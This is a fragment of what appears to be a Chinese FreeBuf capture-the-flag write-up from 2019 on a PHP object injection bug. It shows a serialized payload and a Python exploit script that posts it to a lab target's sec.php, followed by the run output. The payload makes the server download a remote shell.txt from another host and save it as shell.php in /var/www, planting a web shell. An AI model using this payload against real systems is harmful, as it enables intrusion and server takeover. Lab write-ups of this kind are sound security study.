a:2:{i:0;O:4:"Test":3:{s:3:"url";s:30:"http://192.168.0.106/shell.txt";s:9:"name_file";s:9:"shell.php";s:4:"path";s:8:"/var/www";}i:1;O:4:"Show":1:{s:4:"woot";N;}}
下面是exp
root@kali:/tmp# cat 22.py import requests OBJECT = """a:2:{i:0;O:4:"Test":3:{s:3:"url";s:30:"http://192.168.0.106/shell.txt";s:9:"name_file";s:9:"shell.php";s:4:"path";s:8:"/var/www";}i:1;O:4:"Show":1:{s:4:"woot";N;}}""" print('[+] Exploiting the PHP Object Injection Bug') r = requests.post('http://192.168.0.100/sec.php', data={'test': OBJECT}) print(r.status_code) print(r.text) root@kali:/tmp# python 22.py [+] Exploiting the PHP Object Injection Bug 200 Array
FLAG
来源:freebuf.com 2019-11-15 17:58:55 by: 陌度
请登录后发表评论
注册